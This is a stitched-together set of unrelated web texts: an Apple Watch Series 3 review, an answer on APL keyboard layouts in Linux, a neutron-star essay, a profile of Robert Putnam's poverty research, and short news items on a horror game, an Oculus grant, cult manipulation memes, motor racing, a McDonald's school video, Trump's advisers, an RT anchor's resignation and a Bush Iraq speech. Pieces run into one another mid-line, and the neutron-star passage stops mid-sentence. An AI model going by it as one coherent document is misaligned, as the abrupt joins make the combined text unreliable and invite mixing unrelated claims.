Calls can be dialed directly on-watch with a keypad, or made via tapping existing contacts. Writing messages is still limited to scribbling letters, tapping emoji, or dictation. Siri talks now, too -- she's no longer limited to on-screen text responses. That said, Siri isn't a great conversationalist, and often asked me to "check my iPhone." Again, that's not a great experience if the phone is five miles away.
View full gallery Sarah Tew/CNET
Connecting quirks
Some reviews have noted that the LTE version of the Series 3 has problems connecting to LTE when open Wi-Fi networks are nearby, a bug that Apple has admitted to. Apple confirmed these issues to CNET, too. It's unclear exactly when the problem will be fixed via software update, but I was told it would be soon. (In the meantime, to disconnect from a problem Wi-Fi network, you need to forget the network using your phone.)
I didn't experience those specific issues, but I did have weird experiences with notifications. iMessages sometimes popped in all at once or not at all. And third-party notifications, like Twitter, require your phone to be on and connected to a network somewhere, even if it's not nearby. If it's not, you won't get those pings on the watch. Also, many third-party apps don't currently support LTE connection yet. We'll keep testing this. AirPod connectivity sometimes didn't automatically work, either.
It's unclear how many of these will be smoothed over in software updates. Phone functions were generally fine, and so was email. Messages and notifications came in fits and spurts.
Music: iPod on your wrist, at last
The iPod is gone: long live the new iPod.
Apple Watches could always store music, but they were bad at it: syncing music from a cloud-based Apple Music account was always a time-consuming ordeal. Most other smartwatches are the same. WatchOS 4 now syncs music more automatically, and it's a huge difference. The first time I used the watch, after an overnight charge I found a few playlists and albums waiting for me when I went walking. Others can be added and synced when the watch is charging.
View full gallery Sarah Tew/CNET
But music is effectively an Apple Music-only proposition. Your iTunes library is always available to you, but for the more sophisticated playlist management -- and real-time music streaming, which isn't coming for a few more weeks -- you need an Apple Music subscription. Spotify, Pandora and Google Play Music subscribers need not apply. Nor, oddly, can podcasts be downloaded to the Watch.
Wireless headphones are also required. AirPods ( ) are a perfect fit for the cellular watch, so much so that they feel like an essential accessory. For the most part, they pair instantly. Sometimes, however, I needed to swipe up and select them from the watch control center.
Caveats notwithstanding, the Apple Watch finally feels like that iPod Shuffle on my wrist that I used to wear years ago.
View full gallery Sarah Tew/CNET
Fitness making more strides, particularly with heart
Most people use Apple Watch as a fitness tracker. The on-watch extra sensor this time is a barometric altimeter, which lists stair-climbing stats like a Fitbit. And the Series 3 still includes the big fitness improvements from 2016: GPS and "swimproofing" -- it's waterproof to 50 meters, even in seawater.
Out of the box, the Apple Watch Series 3 runs WatchOS 4, the software update that's now available to all previous Watch owners. The new operating system amps up coaching a bit, if you let it. I'd see a ping that I could try for more activity today. Or at the end of one day, I was encouraged to take a 20 minute walk to close my red ring. I like coaching in wearables. The Apple Watch is doing it slowly, but now more on-watch than Fitbit, which relies more on a companion smartphone app.
Heart rate, previously a ping-as-needed tool, now lists more graphs for all-day averages in resting heart rate and walking heart rate. I found these really useful, and nice baselines. Other graphs and averages for workouts are listed, too. It's more like what Samsung's Gear watches offered in terms of fitness info on-watch.You are in luck, because Linux (actually Xorg) has the most versatile and powerful keyboard configuration system of all major OSes. You can choose from a number of APL symbol dispositions and add them to your own national keyboard layout. You can even choose which key to use to switch between regular letters and APL, and apply this choice all over the system.
If you open your distribution's internationalization or keyboard layout settings (it could be in a control panel-like GUI, or it could be a settings file, for example /etc/default/keyboard in Debian) you will be able to add the apl keyboard layout to your existing national layout. The APL layout includes the basic APL symbols in a somewhat standard position and provides a number of variants that select additional symbols or different dispositions, including those of commercially available hardware keyboards: unified, sax, apl2, aplplusII, aplx, dyalog.
Please note that the APL layout is meant to be added to your existing national layout, alongside a choice of key to switch or toggle between the two. If you replace your national layout with APL, you won't be able to type standard letters anymore!
To test a combination of layouts, variants, and options, you can use a graphical control panel-thingy if you have it, or you can use the setxkbmap command.
For example, this selects the us layout, adds the apl one, in its default variant, and designates the Windows key as the switch between the two, so that Win + A gives ⍺, etc.
setxkbmap us,apl -option grp:win_switch
Protip: you might want to keep another terminal open with some default command ready, for example setxkbmap us, so that you can easily press Enter inside it and reset your layout, if you render your keyboard unusable. If you can't even press Enter anymore, you can copy+paste a line break to execute the command.
After you are happy with your combination of layouts, variants, and options, you will have to put them into the global configuration file, or use the control panel button that makes them a permanent choice.
If you are having trouble with some specific combination of options, you might want to look over the XKB documentation wiki, chat on one of the many Linux IRC channels, or post a more specific question here on StackExchange, although I would suggest using Super User, Unix & Linux, or Ask Ubuntu, instead of StackOverflow.The Universe is full of strange things. That’s what gets many astronomers out of bed: knowing that somewhere something really weird is waiting to be discovered.
Even though I’m a black hole aficionado, I would choose neutron stars as the weirdest things in the cosmos. These are the dense remnants of stars at least eight times more massive than the Sun. When these stars run out of nuclear fuel, they explode in supernovas, but their cores collapse under intense gravity.
As a result, neutron stars have the mass of a star, but diameters of roughly 20 kilometers (12 miles)—about the length of Manhattan. Neutron stars have a solid surface, though I wouldn’t recommend trying to stand on it: they are about 100 times hotter than the Sun, and the gravity is so strong that scaling a one-centimeter |
to whom Putnam has sent his book. He has discussed its findings with Hillary Rodham Clinton’s staff, with President Obama in the White House, with Ryan in his office on Capitol Hill, and with the House Democratic caucus at its annual retreat. He doesn’t come bearing new solutions but with a crusade to put the problem out in the open.
That moment would come after years of what John Carr, who has long lobbied on behalf of Catholic interests and who introduced Putnam to Ryan, calls “an ominous silence about poverty” in Washington.
“I think the two people who have the potential to break that silence,” says Carr, now the director of the Initiative on Catholic Social Thought and Public Life at Georgetown University, “are the pope and Putnam.”
Bewildering childhoods
Southeast of Los Angeles, in a heavily Latino part of Orange County invisibly partitioned by gang lines, two sisters in Putnam’s book have grown up with no parents to speak of. Their mother, a heroin addict and prostitute, died when they were young. Their fathers were unknown or absent. Their grandmother kept them on track, but then she died, too.
Lola and Sofia, as Putnam names them (all of the ethnography subjects in the book are anonymous), have navigated life without coaches, pastors, tutors, friends’ parents, counselors, neighbors, community groups, parents’ co-workers and family friends. They feel abandoned even by the one group of adults we like to think poor kids can always count on — their teachers.
“In junior high,” Lola, the older sister, explains to Putnam’s team, “the teachers actually cared.”
“In high school, teachers don’t care,” Sofia says.
“The teachers would even say out loud that they get paid to be there,” Lola says.
“Just to be there,” Sofia says. “Just to babysit.”
“Yeah,” Lola adds, “that they’re there just to babysit, that they don’t care if we learn or not.”
They believe the honors classes at their high school got all the good teachers, but they don’t understand how students were chosen for those classes. Only the smart kids, they say, were told about the SATs. They tried to join after-school activities — the very venue where they might find structure and mentors — but Lola was told her reading wasn’t good enough for a reading club, and Sofia that her grades weren’t high enough to play volleyball.
Through their eyes, coaches and teachers were gatekeepers who extended opportunity only to chosen students.
Their view of the world around them is a deeply lonely one. And it exposes an inverse reality among the privileged that Putnam admits he did not previously see even in the lives of his own children: Take away the parents who drive you to soccer, the peers you know who went off to college, the neighbor who happens to need a summer intern — and childhood is bewildering. A task as simple as picking the right math class becomes another trapdoor to failure.
The privileged kids don’t just have a wider set of options. They have adults who tailor for them a set of options that excludes all of the bad ones.
Meanwhile, for a child like Sofia, “she’s just completely directionless, because life happens to her,” Putnam says. “What she’s learned her whole life is that life is not something you do, it’s something you endure.”
‘A form of isolation’
In July 2013, Putnam came to Washington to receive a National Humanities Medal at the White House for deepening the country’s “understanding of community.” During the visit, Carr, took him to meet Paul Ryan.
Putnam brought his “scissors graphs,” as he calls them, on printed handouts. The graph showing the steep rise of single motherhood speaks to a conservative interpretation of the causes of poverty. Putnam doesn’t dispute that we need to fix families to fix poverty.
But he pairs that with the economic argument more often advanced on the left: that declining real wages and the disappearance of blue-collar jobs have undermined families. That no amount of marriage promotion can repair broken homes when fathers can’t find work, mothers can’t afford day care and the utility bills are past due.
“Bob Putnam’s work helped me understand a key insight,” Ryan says by e-mail. “Poverty isn’t just a form of deprivation; it’s a form of isolation, too.”
On that same visit, Putnam spoke as well to the president, whom he has known for years. As an Illinois state senator, Obama served on a group Putnam created to ponder solutions in response to “Bowling Alone.” The group, for all its ideological diversity, never hit on any grand answers. But some old-fashioned social capital emerged among its members. To this day, Putnam keeps in his office what looks like a grade-school class photo of the “Saguaro Seminar,” a young Obama grinning in the back row.
When Putnam walked up to receive his humanities medal from the president in a White House ceremony, he playfully chided Obama in a way that only people who knew him before he was president can. “When we first met in Cambridge,” Putnam told him, “I couldn’t have imagined I was going to be seeing you in this place at this time. But I bet you knew you were going to be here.”
An Associated Press photographer captured the president’s reaction, his eyes tightly drawn in laughter. After the ceremony, the president asked Putnam what he was working on.
“Actually, I think you might be interested,” Putnam said.
“Send me something,” the president offered.
President Obama laughs with Robert Putnam as he awards him the the 2012 National Humanities Medal during a ceremony in the East Room of the White House on July 10, 2013. (Carolyn Kaster/AP)
“Putnam was the academic who caught the president’s attention right at that post-election moment when he was feeling both liberated and committed to expressing his views on economic inequality,” says Gene Sperling, director of Obama’s National Economic Council at the time. “You might say that Putnam was President Obama’s Piketty,” Sperling added, referring to Thomas Piketty, the French economist who grabbed the world’s attention last year with his writings on inequality.
Putnam that summer sent the White House a six-page memo summarizing “Our Kids,” scissors graphs and all, with a cover letter urging the president to give a speech on inequality.
That memo circulated among the president’s domestic and economic policy advisers, who put together a meeting for the president devoted to inequality. During that session, Putnam sat opposite Obama at a long table in the Roosevelt Room surrounded by national experts and advocates, including basketball-star-turned-urban-entrepreneur Magic Johnson. The meeting opened with Putnam’s research, and he began, as he often does, by summarizing a line he had typed in the president’s memo: “Deeply troubling racial gaps remain, of course, but this opportunity gap is about class, not race, and it is growing.”
Putnam is always quick to say that he doesn’t believe we’ve solved racial inequality. But many of the advocates in the Roosevelt Room that day worried that his message would sound that way, that it would appear as if a country that had overlooked poor black kids should rally to the cause of poverty now that many of the poor kids were white, too.
Race is, in fact, where Putnam is most vulnerable to criticism: His opportunity gap thesis is grounded in the idea that we’ve lost a sense of communal responsibility for children that we had back in the 1950s. But he deals only briefly with the severe racism at that time that no doubt kept many white adults from viewing black children as “their own.”
“You can say politically or strategically that we can set aside race and just look at class differences,” says Robert J. Sampson, a sociology colleague of Putnam’s at Harvard. “But analytically, based on the data, the black-white gap is just too big and too persistent to set aside.”
The poverty black children experience is compounded by their surroundings, as well as by history. Black children are far more likely to live in high-poverty neighborhoods, for instance, and their families are far more likely to have lived in poverty for generations. The more complex reality is that Putnam’s opportunity gap is layered atop this picture — that this new inequality widening along class lines exacerbates for black children the severe disadvantages they face along racial lines.
In the Roosevelt Room debate, the president argued, as he has publicly, for a kind of middle ground: that poverty and family breakdown aren’t uniquely black problems, but ones that hit the black community before the white working class and that acknowledging this unites more people behind the problem.
That December, at an arts and education center in Southeast Washington, Obama delivered a speech on inequality, in which he warned that the opportunity gap in America was now “as much about class as it is about race.” But Putnam’s primary influence appears in another passage.
“The idea that so many children are born into poverty in the wealthiest nation on Earth is heartbreaking enough,” the president said. “But the idea that a child may never be able to escape that poverty because she lacks a decent education or health care, or a community that views her future as their own, that should offend all of us.”
A problem that's everywhere
Putnam’s reception back in Port Clinton has been more complicated. In 2013, he published an opinion piece in the New York Times summarizing the book’s first chapter, its most autobiographical.
His research team studied his Port Clinton High School class of 1959. Nearly three-quarters of the class earned more education than their parents had, suggesting what Putnam calls “astonishing upward mobility.” The working-class kids in town today, he worries, are “locked into troubled, even hopeless lives.” The headline, “Crumbling American Dreams” ran over the photo of a crumbling school.
Many in the town balked at the piece, and the photo (it turns out that school was demolished to build a new one). Christine Galvin, the area director for United Way in Ottawa County, organized a public meeting at a local library where Putnam video-chatted with residents to explain that the trends his research described were not Port Clinton’s fault or unique to it.
“He painted an awful picture of the town I live in, but he just paints reality,” Galvin says. In a letter to the local paper, she implored the town to do something. Could you take a child, she wanted to know, to a story time? Could you mentor a single mom? Could your group sponsor a community potluck? If the answer was yes, she published her cellphone number.
“He named the problem,” she says of Putnam.
That is, in fact, what Putnam does.
And one of the benefits — or burdens — of having something identified for you is that you cannot then shake the sight of it. Spend any time listening to Putnam talk, and suddenly evidence of the phenomenon he’s describing pops up everywhere. It’s on the bus, when a frazzled young mother doesn’t have the patience to play “I Spy” with her child. It’s in the news, when another study confirms that children from single-parent homes finish fewer years of school. It’s at the local school board meeting, where taxpayers don’t want to pay for full-day kindergarten.
Putnam’s solutions are not particularly novel. He wants more investment in early childhood education and criminal justice reform so more low-income men can find work and raise their own babies. He wants religious groups to take up the problem of mentoring. He wants public schools to end “pay to play” fees for after-school sports.
Many of these things will require money, though, and that is where the fight brews. In Port Clinton, his team interviewed one mother from the wealthy community that has grown up on the town’s lakefront, as neighborhoods just inland have collapsed into poverty. She is wary of the idea of special education funding for poor kids in town.
“If my kids are going to be successful,” she says, “I don’t think they should have to pay other people who are sitting around doing nothing for their success.”
She doesn’t recognize that her children are successful precisely because of their advantages of a stable home, regular homework help and college expectations. The fact that Americans increasingly live as they do in Port Clinton now — the rich in their enclave, the poor in another — means that adults who might fund the answers may never come in contact with poor children to recognize the problem. They may never overcome their suspicion that poor people are to blame for their own poverty.
“Look at the economic profile of Congress: where members went to school, what kinds of families they came from, their net worth,” says Rep. Marcy Kaptur (D), who represents Port Clinton. “You say to yourself, could this group of people really walk in the shoes of these families?”
This question has long pained poverty crusaders with less optimism than Putnam.
“I’m basically calculating that it’s harder to be dismissive of poor kids than poor adults,” he says, considering what might happen once his book is out. “But maybe that’s not true.”We saw a little bit of Friday The 13th: The Game late last year, but it wasn't particularly helpful: the asymmetrical multiplayer horror game has a promising concept, but that footage literally kept us in the dark. The video above doesn't showcase gameplay, but it does prove that Jason Voorhees can smash through doorways with his trusty axe, which is lucky, because that's one of his favourite things to do.
Developed by Gun Media, Friday The 13th: The Game is expected to release this autumn (or spring in Australia). The multiplayer-focused survival horror involves one player controlling old mate Jason, and seven players trying to survive his interest. For more info, there's a tonne of developer diaries and videos on the game's Kickstarter website.
The studio also posted this very short (and warning, very brutal) snippet on Twitter:Last week Oculus Chief Scientist Michael Abrash stood on the stage at Oculus Connect 3 and talked about where he thought VR will be in five years’ time. He made some bold predictions that are going to take a lot of work and resources to achieve.
That’s why Oculus Research is launching a $250,000 grant initiative looking to advance work in a few key areas. This isn’t like the company’s large investments into content. This money will be split between a maximum of three research proposals based in vision and cognitive science. Research will be carried out between the next one and two years, and submissions should be from academic institutions.
Oculus is looking to make progress in very specific fields with this money, and the findings from successful applicants will be released to the public. The company has outlined what it’s hoping to find in a Call for Research.
The first area the company is looking at is ‘Self-motion in VR’. That doesn’t mean new locomotion techniques, but instead the ways that information sources like a wider field of view affect user’s behavior in “three-dimensional scenes”. “More specifically,” the call notes, “we are interested in how these cues to depth may change the way the visual system uses other sources of shape information…to recover the three-dimensional layout of the virtual or augmented scene”.
Oculus is also looking for a team to develop a way to generate a ‘dataset of binocular eye movements’ within the real world. You might remember Abrash speaking about the complexity of delivering perfect eye-tracking in his talk last week, and this might be related. “While eye movements generated in laboratory settings are well studied,” the call reads, “much less data is available about eye movements in the natural world or in virtual reality.”
‘Multisensory studies’ is next. Oculus wants to understand why VR and AR experiences that cover multiple senses are so much more compelling than those that address a single one. “We would like to determine what features and characteristics make multisensory information so valuable in AR/VR,” the call notes.
Finally, Oculus is interested in “biological motion related to social signaling”. Again, this relates to another part of Abrash’s talk, this time concerning virtual humans. The company wants to establish the gestures, facial expressions, eye movements and other factors that are essential to communicating our intended messages beyond mere words. With a clear understanding of this, we could see more life-like avatars.
Submissions need to be emailed to [email protected] and will be a maximum of five pages in length, outlining methods, budget, and estimated timelines. Reviews for proposals will begin on October 25th and successful applicants will be contacted on November 1st.
Tagged with: Oculus Research, VR researchYou can find daily updates to memes at the MMT Facebook page.
Meme 5 – Strength
For someone to reject the authority and control of a high demand group, they would have to show personal strength.
By linking personal strength to deference to authority (i.e. obedience) groups which exert undue influence over their members create an internal culture which allows and may even promote all forms of personal strength – except that strength which would enable a person to escape the system.
Members are encouraged to develop themselves, but only in ways which would promote deference to group authority.
They are placed in a bind where members are told to be strong, but strength which would liberate them from control is considered a weakness.
Meme 6 – Freedom is…
One of the problems that people who manipulate others encounter is that individuals are sensitive to the notion that they are being controlled.
In order to disguise the degree of control, the manipulator establishes a sort of doublethink narrative that equates absolute obedience to his demands with free agency.
This also serves to exonerate the manipulator from any accusation of taking advantage of people. When accused, they simply state that their followers voluntarily choose to obey.
Orwell described the concept and utility of doublethink in his novel 1984:
“To know and not to know, to be conscious of complete truthfulness while telling carefully constructed lies, to hold simultaneously two opinions which cancelled out, knowing them to be contradictory and believing in both of them, to use logic against logic, to repudiate morality while laying claim to it, to believe that democracy was impossible and that the Party was the guardian of democracy, to forget whatever it was necessary to forget, then to draw it back into memory again at the moment when it was needed, and then promptly to forget it again, and above all, to apply the same process to the process itself – that was the ultimate subtlety: consciously to induce unconsciousness, and then, once again, to become unconscious of the act of hypnosis you had just performed. Even to understand the word ‘doublethink’ involved the use of doublethink.” “The power of holding two contradictory beliefs in one’s mind simultaneously, and accepting both of them… To tell deliberate lies while genuinely believing in them, to forget any fact that has become inconvenient, and then, when it becomes necessary again, to draw it back from oblivion for just as long as it is needed, to deny the existence of objective reality and all the while to take account of the reality which one denies – all this is indispensably necessary. Even in using the word doublethink it is necessary to exercise doublethink. For by using the word one admits that one is tampering with reality; by a fresh act of doublethink one erases this knowledge; and so on indefinitely, with the lie always one leap ahead of the truth.” (Orwell, George (1949). Nineteen Eighty-Four. Martin Secker & Warburg Ltd, London, part 1, chapter 3, pp 32)
You can see the similarity to these messages when depicted as such:
North Korea could have employed this meme with great effect. That speaks volumes.
It can be so liberating to acknowledge that 2+2 does not, in fact, equal 5.
Meme 7 – Obedience
Groups which make God’s approval dependent upon obedience to the requirements of the leaders capitalize on the sincerity of faithful members. This primes the members to accept the dictates of the leaders.
By making obedience alone insufficient for God’s approval, the group sets up an even stronger system of control. This compels members to not only obey – but to obey without critically questioning the demands of the group. The goal is not simply obediece. Obedience is not enough.
More than obedience, the goal is to unify the mind and heart of the individual with that of the group and its leaders.
This theme was a central principle in George Orwells novel 1984.
When such a surrender of the individual is given, the leaders can then take whatever action they choose and the members are enjoined to not only accept it, but enthusiastically endorse it – even if it completely contradicts some prior stand.
This idea was so important in Orwells novel that the very moment which obedience to Big Brother ceased to be an irritant to the main protagonisit is the moment that the novel ends:
In order to overcome this pressure, an individual has to preserve and value their unique identity, even when – and especially when – it diverges from the groups imposed template of existence.
Meme 8 – Try Harder
This message of self-improvement coming from within, with a knowledge and acceptance of your personal limitations, is good and healthy.
This message coming from a self-proclaimed religious authority imposing external standard of arbitrary worthiness and a culture of sacrificing yourself to the group is toxic and imparts the message that you are not good enough, no matter how hard you try. That you could and should always be doing more, giving more, sacrificing more, and thinking about and caring for yourself less.
Such innocent appearing messages are the software that implements a culture that erodes individual self-worth.
Meme 9 – Design
By creating numerous expectations on all parts of the individuals life, groups which exert undue influence place their members in a perpetual state of never living up to expectations. This is usually done with a backdrop of a tacit or explicit demand for purity and conformity.
People who do not meet all the demands feel imperfect and struggle with their failure. Excessive time commitment to the group’s numerous meetings, lessons and activities also leaves the individual exhausted. This mental and physical exhaustion leaves the individual in want of relief.
Individuals are placed in a psychological bind when the organization tells them that by meeting the requirements of the organization they can be healed from the problems that arise from the demands of the organization. When the relief does not come – they are told that they need to work harder within the system to try to meet the requirements of the group so they can experience the promised healing.
Meme 10 – Uphill Battle
Groups that exert undue influence prepare their members with instructions on how to interpret the negative consequences of obedience to the leaders’ commands.
By telling members to interpret negative experiences as proof of legitimacy of the organization and it’s leaders, the group absolves itself of responsibility for the hurtful effects of unethical control, removes accountability for institutional missteps and silences legitimate criticism of hurtful policies and teachings.
Members are placed in a bind where they experience hurtful consequences as a result of group policy and teaching, and must accept that these negative experiences are proof of their legitimacy.
Meme 11 – Attractiveness
Groups that exert undue influence over their members will often use the relationships of family members as a means to bind individuals to the group.
By instructing members that their love or affection for their spouse should be conditional upon the spouse meeting the groups expectations of thought and behavior, the group uses that relationship as a lever of control. People then avoid contradicting leaders or withholding consent out of fear of losing family relationships.
If a spouse does start to break away from the hold of the group, the remaining faithful spouse has been preconditioned to see the doubter as less desirable. This introduces a dynamic into the relationship which would not exist outside of the control of the group when obedience to a third party becomes a requirement to spousal affection.
This meme also uses an appeal to divine authority to impose a specific template for existence and identity upon the members of the group – invalidating the individual worth of members who choose an unconventional path.
The implication of coupling attractiveness to fulfilling stereotypical gender roles instructs members on how to indirectly compel conformity – through the actual or threatened restriction on sexual access in the marriage relationship
It can be surprising to see how easily an organization which purports to promote the family will spread messages that erode the authentic relationships within a family.
Meme 12 – Bad Dad
Unethical coercive groups exploit familial relationships in order to coerce intergenerational group allegiance.
This meme creates a manipulative psychologic pressure by linking the individual worth of a parent to whether a child retains allegiance to the group.
This produces a pressure for indoctrination in the parents of young children as well as presenting a source of individual anxiety and loss of self-worth for members whose children have chosen to break free from the group.
Conclusion
If you have a meme that you would like to submit for translation, feel free to post in the comments or submit in facebook. If you have an alternate translation that you would like to suggest, then post it in the comments here or on the individual page for that meme in facebook.
till next timeMax Defourny (R-ace GP) set best time on the opening day of the Formula Renault Eurocup collective tests at the Nürburgring. The Belgian driver’s lap of 1:55.029 was good enough for his R-ace GP team to lead the way for the third consecutive day. Max Defourny was joined in the top three by Gabriel Aubry (Tech 1 Racing) and Will Palmer (R-ace GP). Sacha Fenestraz (Josef Kaufmann Racing) set the pace in the morning. Fourth on the time sheet, Red Bull Junior Team driver, Daniel Ticktum (Arden Motorsport) was the quickest rookie.
The sun welcomed the Formula Renault Eurocup field at the Nürburgring. In hour two of testing, Sacha Fenestraz set a time of 1:55.436, which held up until the end of the session. The French led from Daniel Ticktum and Alex Peroni (Fortec Motorsports). Robert Shwartzman (R-ace GP) and Max Defourny completed the top five.
While Sacha Fenestraz was leading the afternoon session when it was interrupted due to a displaced water evacuation grill. The action resumed for the final half-hour. Max Defourny made the most of the moment to set best time of the day in 1:55.029 ahead of Gabriel Aubry, Will Palmer, Daniel Ticktum and Robert Shwartzman (R-ace GP).
No pressure for Defourny
Max Defourny (R-ace GP): “For the team, this series continues last year strong level of performance that was always present. The winter gave them the time to accelerate their effort and the drivers have also gotten much stronger. Even though we were not always ahead in the preceding tests, we took the time to do things right and the results are getting better and better. Now it is up to us to be even stronger at Monza for the first race! I am heading into the season without any pressure. I know there are expectations, but we are going to try to stay focused on our job, do the best we can and see what happens.”
Successful adaptation for Verhagen
Neil Verhagen (MP Motorsport): “We’ve had strong pace till now. I have a lot to learn on the circuits that are new for me, because this is my first year in Europe. My adaptation seems to being going well with some good times, perhaps a bit above expectations. There is more work to do, but I look forward to starting the season in this super-competitive championship where I‘ve always wanted to compete. I was very excited when Dr. Marko told me I was going to race in the Formula Renault Eurocup. The goal will be to learn as much as possible and do the best I can. Anything in the top five-ten will be good, but I always want more!”
Martono getting accelerated training
Presley Martono (Mark Burdett Motorsport): “It’s a bit of a crash course for me in a way as I’m the only driver that is getting his hands on the Formula Renault 2.0 for the first time during these tests. The category is by far one of the best single-seater ladder series with an impressive calendar and 30 of the best drivers in the world. The car is also very formative and it is the perfect stepping stone for preparing what comes next. I feel like I am progressing every time I get in the car thanks to the support of the team. I have learned a tremendous amount and we have another day of testing tomorrow and another before the Monza weekend. The objective will be to keep improving throughout the long season while doing what I can for the result to follow, with maybe a top-three finish in the rookies class.”
Kaufmann On the right track
Lars Kaufmann, Team Manager: “Even if our times aren’t always at the top, we are confident as we’re up to plan so far! Sacha is doing an excellent job, as is Yifei who is unfamiliar with some tracks like this one and Luis. We are also making the most of the new use of tyre quotas over the season to save new ones. This will let us be more flexible in having more options for choosing which to use depending on the circumstances. We can’t wait for Monza to come to know who are really the fastest. Until then we will continue to work!”
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Robust health requires nothing more than a little exercise and a daily dose or three of fast food. That’s the message of the new 20-minute video 540 Meals: Choices Make the Difference (viewable here, short teaser above), being promoted in high schools and middle schools by McDonald’s and uncovered by the superb school-food blogger Bettina Elias Siegel.
McDonald’s recommends using the film “as a supplemental video to current food and nutritional curriculum.”
The video focuses on the dietary and exercise regimen of John Cisna, who identifies himself as an “Iowa HS [high school] Science Teacher who lost over 50 lbs eating only McDonald’s,” who “now travel[s] across the country sharing my message about food choice.” Cisna gained notoriety when he mimicked the self-experiment of documentarian Morgan Spurlock, the director and subject of the famed Super Size Me (2004), by taking his meals exclusively at McDonald’s for six months straight. Unlike Spurlock, who saw his weight rise and his health falter, Cisna claims his weight plunged and his health improved. One key difference: Whereas Spurlock famously assented to any plea by a McDonald’s employee to “supersize” his orders, Cisna stuck rigorously to a limit of 2,000 calories per day.
Apparently still haunted by the specter of Super Size Me a decade since its release, McDonald’s embraced Cisna, taking him on as a paid “brand ambassador” and now pushing his message to school kids, both through the 540 Meals film and through appearances at schools, documented on Cisna’s Twitter feed. Siegel uncovered this McDonald’s-produced “teachers discussion guide” to 540 Meals. It recommends using the film “as a supplemental video to current food and nutritional curriculum,” particularly in “plans that incorporate Morgan Spurlock’s Super Size Me.” She also points to this August press release from McDonald’s franchisees in the New York tri-state area, flogging 540 Meals to “high school educators looking for information to demonstrate the importance of balanced food choices.”
As Siegel shows in this handy list of quotes from the film, it brims with agitprop for the famous burger-and-fries purveyor, including such wisdom as “through careful planning and mindful choices, you can still enjoy your favorite McDonald’s items.”
So what’s wrong with pushing Cisna’s message to school kids? Plenty, writes Siegel in her post, which is well worth reading in its entirety. Here’s a sample:Donald Trump unveiled a 13-person economic advisory team in advance of a speech planned for Monday in which he has promised to share specific proposals for creating jobs and growing the economy.
The all-male team, which will be led by two campaign advisers, is stocked with billionaires, Trump business acquaintances, and five guys named Steve.
Trump, who has made no secret on the campaign trail of his disdain for over-priced policy experts, opted for a team dominated by real estate developers and Wall Street bankers and investors whom he apparently does not consider part of the mafia of Wall Street "fat cats" he so frequently assails from the stage.
Trump: NAFTA will die
Here's what you should know:
1. Team Trump is stocked with billionaires.
Trump will be advised by an economic team that includes four billionaires on the 2016 Forbes Billionaires List: Hedge fund investor John Paulson has an estimated net worth of $9.7 billion; bank founder Andy Beal is worth $9.4 billion; oil-and-gas man Harold Hamm is worth $5.1 billion; and hedge fund investor Steve Feinberg brings up the rear with a mere $1.1 billion.
And two more of the team members have appeared on the Forbes Billionaire List in the past and may well be worth $1 billion or more: Vornado Realty Trust chairman Steven Roth, and real estate investor and Colony Capital founder Thomas Barrack. (Forbes, meantime, pegs Trump's net worth at $4.5 billion.)
2. His economic advisers have a lot in common, demographically speaking.
Trump's economic team consists of 13 white men ranging in age from 50 (Federal Savings Bank chairman and CEO Stephen Calk) to 74 (Vornado's Roth). The average age is 62 for the 12 members for whom ages were available.
3. Several made their fortunes in real estate.
Trump recruited many of his advisers from the industry he knows best. Both Roth and Barrack built their fortunes with savvy bets on real estate, for instance. Howard Lorber is chairman of Douglas Elliman, the largest residential real estate brokerage in New York City, with more than 4,000 brokers who sell and rent, among many New York properties, Trump-branded condominiums. (Lorber is also a hot-dog mogul as chair of Nathan's Famous.) Paulson made his name -- and several billion dollars -- on a wildly successful bet against subprime mortgages on the eve of the Great Recession. And Steven Mnuchin, a former Goldman Sachs banker and film producer (involved with the movies American Sniper and Mad Max: Fury Road), also runs a hedge fund that steers a real estate "opportunity" fund for clients.
Donald Trump slams Hillary Clinton on the economy
4. They don't have much experience in economics.
Only three members of the team have notable experience in economics: David Malpass is founder of an economics research firm based in New York, served in advisory roles in the Reagan and George H.W. Bush administrations, and was a chief economist at Bear Stearns, which famously collapsed in the financial crisis; Stephen Moore is an economist and policy writer who was also president of the conservative Club for Growth; and Peter Navarro has a Ph.D in economics from Harvard and is a professor of economics and public policy at the Paul Merage School of Business at UC-Irvine.
The economist Justin Wolfers of the University of Michigan pointed out on Twitter that only two of the 13 advisors have studied economics beyond an undergraduate level.
The team of advisers will be led by Trump policy director Stephen Miller (another Steve!) and deputy policy director Dan Kowalski, both former Congressional Republican staffers.
"I am pleased that we have such a formidable group of experienced and talented individuals that will work with me to implement real solutions for the economic issues facing our country," Trump said in a statement accompanying the announcement.For her public act of protest against Russia Today’s coverage of the Russian invasion of Ukrainian territory and supposedly advancing the agenda of Vladimir Putin in Washington, D.C., previously unknown news anchor Liz Wahl has suddenly become one of the most famous unemployed people in America. After her on-air resignation from the cable news channel, Wahl appeared on the three major American cable news outlets—CNN, Fox News, MSNBC—to denounce the heavy-handed editorial line she claims her bosses imposed on her and other staffers.
“What’s clear is what’s happening right now amid this crisis is that RT is not about the truth,” she told CNN’s Anderson Cooper. “It’s about promoting a Putinist agenda. And I can tell you firsthand, it’s also about bashing America.”
Wahl’s act of defiance eventually earned her invitations from “The View” and “The Colbert Report,” offering her the opportunity to introduce millions of Americans to a Russian government-funded network whose Nielsen ratings have been too low to measure, but which commands a massive following on YouTube. Wahl was the toast of Washington, winning plaudits from a variety of prime-time pundits, from MSNBC’s Chris Hayes (“remarkably badass”) to the conservative Amanda Carpenter (“Liz Wahl is proud to be an American and in the last five minutes I think she made everyone else proud to be one, too.”)
The celebration of Wahl fed directly into a BuzzFeed expose on “How The Truth Is Made at Russia Today,” with writer Rosie Gray painting a portrait of an “atmosphere of censorship and pressure” on American staffers toiling in RT’s D.C. offices. RT had long been the subject of criticism and ridicule for its promotion of Zeitgeist-style trutherism and libertarian paranoia, but Wahl now placed RT under unprecedented scrutiny, with mainstream U.S. media sounding the alarm about a bulwark of soft Russian power situated just blocks from the White House.
Behind the coverage of Wahl’s dramatic protest, a cadre of neoconservatives was celebrating a public relations coup. Desperate to revive the Cold War, head off further cuts to the defense budget and restore the legitimacy they lost in the ruins of Iraq, the tightknit group of neoconservative writers and stewards had opened up a new PR front through Wahl’s resignation. And they succeeded with no shortage of help from an ossified media establishment struggling to maintain credibility in an increasingly anarchic online news environment. With isolated skeptics branded as useful idiots for Putin, the scene has been kept clean of neoconservative fingerprints, obscuring their interest in Wahl’s resignation and the broader push to deepen tensions with Russia.
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On the same day that the State Department instructed all its employees not to leave reinforced structures, due to increased rocket attacks in the Green Zone, President Bush gave a speech in Dayton, OH where he continued to paint a rosy picture of the situation in Iraq, and said the critics of the war refuse to acknowledge the progress that has been made.
